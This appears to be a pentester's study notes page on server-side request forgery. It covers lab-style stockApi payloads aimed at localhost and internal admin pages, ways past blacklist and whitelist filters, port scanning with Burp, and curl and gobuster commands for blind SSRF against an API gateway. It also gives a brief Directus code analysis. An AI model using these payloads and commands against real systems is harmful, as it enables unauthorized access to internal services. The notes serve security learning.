SSRF: Server-Side Request Forgery
Server-side request forgery is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
SSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application and perform unauthorized actions. These trust relationships might exist in relation to the server itself, or in relation to other back-end systems within the same organization.
SSRF attacks against the server itself
In an SSRF attack against the server itself, the attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This will typically involve supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter).
For example, we have a POST request like the following:
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
In this situation, an attacker can modify the request to specify a URL local to the server itself:
stockApi=http://localhost/admin
- Blacklist based input filter
If this is blocked by the web,we could try using 127.0.0.1/admin or 127.1/admin or 127.0.0.1 in hexadecimal/admin or localhost in hexadecimal/admin.
If we put a wrong path like 127.1/admi it will response an error but if we use a valid one like 127.1/admin ir will response a security block so if nothing of this works we should URL encode the first "a" from admin and then the %.
- Whitelist-based input filter
Here a domain must be contemplated, we can use @ like when we want to authenticate in a web and # like when we want to search something in a web. The # must be double URL encoded:
stockApi=http://localhost#@example.com:8080/admin
stockApi=http://localhost%2523@example.com:8080/admin
- Port Discovery
We have the following, for example:
stockApi=http://localhos:8080/admin
Then we could use the BurpSuite Intruder to start an attack from port 1 to 65535 to discover open ports and then navigate trough them to discover buckups, user credentials, etc.ç
We should filter by the length and see what ports are returning information.
Also we can send a few of the to the comparer and compare words to see what things change.
SSRF attacks against other back-end systems
Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users. These systems often have non-routable private IP addresses. Since the back-end systems are normally protected by the network topology, they often have a weaker security posture. In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems.
For example:
stockApi=http://192.168.0.68/admin
Blind SSRF against an API Endpoint
- API Discovery via Verb Tampering
We’ll begin by sending an HTTP request to our API gateway server with curl:
curl -i http://apigateway:8000
Then, we will fuzz:
gobuster dir -u http://apigateway:8000 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -s "200,204,301,302,307,401,403,405,500"
sort endpoints.txt | cut -d" " -f1 | cut -d"/" -f2 > endpoints_sorted.txt
To send them to burp:
gobuster dir -u http://apigateway:8000 -w endpoints_sorted.txt --proxy http://127.0.0.1:8080
To send requests with different HTTP methods to a list of endpoints with a python script:
./route_buster.py -a /usr/share/wordlists/dirb/small.txt -w endpoints_simple.txt -t http://apigateway:8000
- Blind Server-Side Request Forgery Discovery and Exploitation
After fuzzing the APIs, if we have identy an url that returns an error message, in JSON for example, we can make a SSRF payload matching the format:
curl -i -X POST -H "Content-Type: application/json" -d '{"url":"http://192.168.118.3/ssrftest"}' http://apigateway:8000/files/import
We will examine the results adding or removing the ssrftest file, so we can explore different responses.
We could also try reaching internal open ports:
curl -i -X POST -H "Content-Type: application/json" -d '{"url":"http://localhost:8080/"}' http://apigateway:8000/files/import
The following python script will scan for open ports:
./ssrf_port_scanner.py -t http://apigateway:8000/files/import -s http://localhost --timeout 5
We could also try to investigate subents based on the time response, some APIs, send the response in less time when the port is closed but the host up and more when the host is down.
- Source Code Analysis
Example with Directus (open-source):
The readByKey() function of FileService is responsible for checking authorization. FileService inherits the readByKeys() function from ItemService. The processAST() function defined in /api/src/services/authorization.ts handles authorization.
Since the application downloads the contents of the submitted URL before checking authorization for the storage and retrieval of those contents, the application is vulnerable to unauthenticated blind SSRF.
Last updated